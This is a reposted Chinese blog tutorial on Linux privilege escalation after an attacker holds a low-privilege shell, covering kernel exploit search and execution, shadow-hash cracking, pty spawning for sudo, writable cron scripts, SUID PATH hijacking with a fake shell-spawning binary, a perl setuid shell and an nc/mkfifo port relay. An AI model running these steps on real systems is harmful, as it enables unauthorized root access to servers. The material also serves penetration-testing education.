Linux提权:一些技巧
往往我们能拿下服务器的web服务,却很快被管理员把内网渗透的种子扼杀在提权的萌芽里面。Linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。以下我总结一些提权方法。
前提
已经拿到低权shell,被入侵的机器上面有nc,python,perl等linux非常常见的工具,
有权限上传文件和下载文件、内核漏洞提权、提到脏牛,运维流下两行眼泪,我们留下两行鼻血。内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集。
查看发行版
cat /etc/issuecat /etc/*-release
查看内核版本
uname -a
这里我找了台机器测试:
#uname -aLinux xxxxx 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux#cat /etc/*-releaseDISTRIB_ID=UbuntuDISTRIB_RELEASE=10.04DISTRIB_CODENAME=lucidDISTRIB_DESCRIPTION="Ubuntu 10.04 LTS"
这样,我们就得到了系统的内核版本(2.6.32-21 pae),cpu架构(i686),和发行版(ubuntu 10.04)
可以开始搜索了
大多内核漏洞通过内核版本能很快查到
用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码
searchspoit linux 2.6 ubuntu priv es
结果:
这么多,我们加入系统信息缩小范围
searchsploit linux priv esc 2.6 ubuntu 10
这样可选的exp就少多了,很无奈,我们需要漫长的点开exp看具体要求的筛选过程,大部分exp都会写清生效条件。因此我们能够虽然很气,但也很快地去掉一些不具备利用条件的exp。比如第三个exp针对一个特别的磁盘格式,排除。
经过艰难的寻找,发现15704,c很顺眼,于是把源代码上传,然后:
#gcc exp.c#lsexp.ca.out#./a.outiduid=0(root) gid=0(root)
我们先编译exp再执行。可以看到exp执行以后没输出,但是我们其实已经得到rootshell了(exp执行以后一定敲个命令,不然都不知道是成功了还是卡了)
exploitdb的搜索过程虽然繁琐,但是能基本保证不会遗漏漏洞。如果想先偷懒图个快的话,我们可以试试https://www.kernel-exploits.com/,这里的exp已经按照内核版本分类了,而且有很多已经完成了编译。
比如我们搜索2.6.32:
这个rds的binary刚巧能用。“我收集信息了,我上传exp了,我就root了。“
当然,以上只是非常理想的情况,我们经常会遇到没有gcc的坑爹服务器。这时我们就需要在本地编译。本地编译时不止要看exp源码注释的编译参数,也需要手动调整一下编译的参数,比如给gcc 加-m 32来编译32位。编译问题繁多,有困难找谷歌,不再赘述。
当内核版本没有好用的exp对应的时候,可以检查磁盘格式:
cat /etc/fstab
和已经安装的程序:
dpkg -lrpm -qa
然后进行刚刚繁琐的搜索,没准就找到个bug,最后强调利用内核漏洞的几个注意点:
1.读源码,不然可能连编译都不会
2.读源码,不然费劲编译完才发现不适用
3.读源码,不然遇到一个删全盘的”exp“怎么办
明文root密码提权
passwd和shadow,虽然遇到的概率很小,但还是提一下,大多linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。
这里是一个典型的passwd文件
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shibuuid:x:100:101::/var/lib/libuuid:/bin/shsyslog:x:101:103::/home/syslog:/bin/falsesshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了)。而shadow里面最重要的就是密码的hash
root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7:::daemon:*:15730:0:99999:7:::bin:*:15730:0:99999:7:::sys:*:15730:0:99999:7:::sync:*:15730:0:99999:7:::games:*:15730:0:99999:7:::man:*:15730:0:99999:7:::lp:*:15730:0:99999:7:::mail:*:15730:0:99999:7:::news:*:15730:0:99999:7:::uucp:*:15730:0:99999:7:::proxy:*:15730:0:99999:7:::www-data:*:15730:0:99999:7:::backup:*:15730:0:99999:7:::list:*:15730:0:99999:7:::irc:*:15730:0:99999:7:::gnats:*:15730:0:99999:7:::nobody:*:15730:0:99999:7:::libuuid:!:15730:0:99999:7:::syslog:*:15730:0:99999:7:::mysql:!:15730:0:99999:7:::dovecot:*:15730:0:99999:7:::sshd:*:15730:0:99999:7:::postfix:*:15730:0:99999:7:::
shell命令来检查权限
cd /etcls -l passwd shadow
如果passwd可写,我们就可以把root的密码字段(x)替换成一个已知密码的hash(比如本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。如果shadow可读,我们可以读走root的hash,然后用hashcat或者john暴力破解之。
密码复用
很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:
python -c 'import pty;pty.spawn("/bin/sh")'
就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了。
python -c 'import pty;pty.spawn("/bin/sh")'$ sudo susudo su[] password for www-data: 123456Sorry, try again.[] password for www-data:
计划任务
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
ls -l /etc/cron*
默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了。
SUID
SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。比如passwd命令,就是以root权限运行来修改shadow的。
这里我们做个实验(环境为ubuntu 16.04):
c源代码
int main(){setuid(0);//run as rootsystem("id");system("cat /etc/shadow");}
以root进行编译和权限设置
gcc suid.c -o suid-expchmod 4755 ./suid-exp#这里设置了SUID位ls -l
输出
-rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp
注意s属性,表示这个程序有SUID的属性。
接下来我们切换用户并执行
su test./suid-exp
可以看到程序实际上已经提升到了root权限。
SUID程序经常存在提权漏洞,比如nmap就曾出现过提权漏洞。低权用户通过打开nmap交互模式以root执行任意系统命令。而除了借助程序功能提权,我们还可以尝试劫持环境变量提权。上文的c程序使用了system函数,system函数是继承环境变量的,因此我们通过替换环境变量可以达到执行任意命令的效果。
我们进入test低权用户的shell
cat >> /tmp/cat <<EOF#!/usr/bin/pythonprint "this is not the true cat"print "here is a root shell!"import pty;pty.spawn("/bin/sh")EOF# 这里我们在/tmp建立了假的cat,它会用python执行一个shellPATH=/tmp:$PATH#设置PATH,优先从/tmp查找程序./suid-exp#执行suid程序,因为PATH被劫持,system("cat /etc/shadow");会执行我们的假cat
运行结果
还有一种情况:管理员配置错误,把不带setuid(0);代码的程序配置了SUID。当这些程序被劫持的时候,我们需要自己的程序中使用setuid(0);来提权到root。这里有一个小技巧,我们用perl脚本来setuid:
#!/usr/bin/perl$< = $>;$( = $) = 0;system ("/bin/sh"):
用这个简单的脚本劫持,就把shell运行在root权限下了。
网络与隐藏的服务
有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程root漏洞。
netstat -antup#查看各种网络服务
如果找到些神秘的服务,可以用netcat做个转发
mkfifo backpipenc -l 8082 0<backpipe | nc remote_host 445 1>backpipe
之后找漏洞,攻击,从头再来。
相关工具
提了那么配置错误的利用,却没说怎么找这些错误
分享两个脚本:
unix-privesc-check:http://pentestmonkey.net/tools/audit/unix-privesc-check
linuxprivchecker:https://www.securitysift.com/download/linuxprivchecker.py
这两个程序不止细致地检查了非常多的配置问题,更让人感动地列出了所有可写文件。基本上可以说他们的检查是足够全面的。
总结
Linux提权花样非常多,涉及的技术五花八门。写这篇文章的时候总想把相关知识都解释清楚,但是面对系统繁琐的工作过程和众多的发行版深感自己理解之浅。我很赞同在很多论坛上看到的对于linux提权的提示:你需要知道linux系统的工作方式。各种奇技淫巧或是无比脑残的错误最终都回归到了系统的运行流程和权限管理机制上面。回归本质,系统地了解系统才是保证安全的最佳方式。
往期精彩
登陆页面的检测及渗透
渗透实战篇(一)
渗透测试信息收集的方法
常见Web中间件漏洞利用及修复方法
内网渗透 | 流量转发场景测试
Waf从入门到Bypass
实战渗透-看我如何拿下学校的大屏幕
技术篇:bulldog水平垂直越权+命令执行+提权
渗透工具实战技巧大合集 | 先收藏点赞再转发一气呵成
感兴趣的可以点个关注!!!
本文分享自微信公众号 - 安全先师(gh_d61f62dd440d)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
关注公众号
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
-
上一篇
SwiftUI直通车系列(3)—— 使用导航
SwiftUI直通车系列三(3)—— 使用导航 关于SwiftUI,我们前两篇博客介绍了独立组件的布局与属性设置相关内容,并且介绍了开发中最常用的列表视图的使用。但是一个完整的应用程序不可能是单界面的,如何使用SwiftUI进行界面间的导航跳转,是我们本博客讨论的重点。前两篇博客地址如下: SwiftUI直通车系列(1)—— 视图的布局与组织 SwiftUI直通车系列(2)—— 列表视图 在本系列的第二篇博客中,我们能够使用SwiftUI来构建列表视图,通常,列表视图用来展示目录页面,当用户点击列表中的某一项时,需要跳转到详情页。在iOS应用中,页面的跳转常用导航控制器进行管理。在SwiftUI中,创建一个导航也是非常简单的,只需要在组件最外层嵌套NavigationView即可。以我们之前的列表视图Demo为例,改写代码如下: import SwiftUI import UIKit struct ContactModel { var name:String var phone:String } let modelData = [ ContactModel...
-
下一篇
Redis:05-应用:分布式锁
分布式应用进行逻辑处理时经常会遇到并发问题。比如一个操作要修改用户的状态,修改状态需要先读出用户的状态,在内存里进行修改,改完了再存回去。如果这样的操作同时进行了,就会出现并发问题,因为读取和保存状态这两个操作不是原子的。(Wiki 解释:所谓 原子操作是指不会被线程调度机制打断的操作;这种操作一旦开始,就一直运行到结束,中间不会有任何 context switch 线程切换。) 这个时候就要使用到分布式锁来限制程序的并发执行。Redis 分布式锁使用非常广泛,它是面试的重要考点之一。 分布式锁 分布式锁本质上要实现的目标就是在 Redis 里面占一个位置,当别的进程也要来占时,发现已经有人在那里了,就只好放弃或者稍后再试。 占位置一般是使用 setnx(set if not exists) 指令,只允许被一个客户端占坑。先来先占, 用完了,再调用 del 指令释放。 // 这里的冒号:就是一个普通的字符,没特别含义,它可以是任意其它字符,不要误解 > setnx lock:codehole true OK ... do something critical ... > d...
相关文章
文章评论
共有0条评论来说两句吧...












微信收款码
支付宝收款码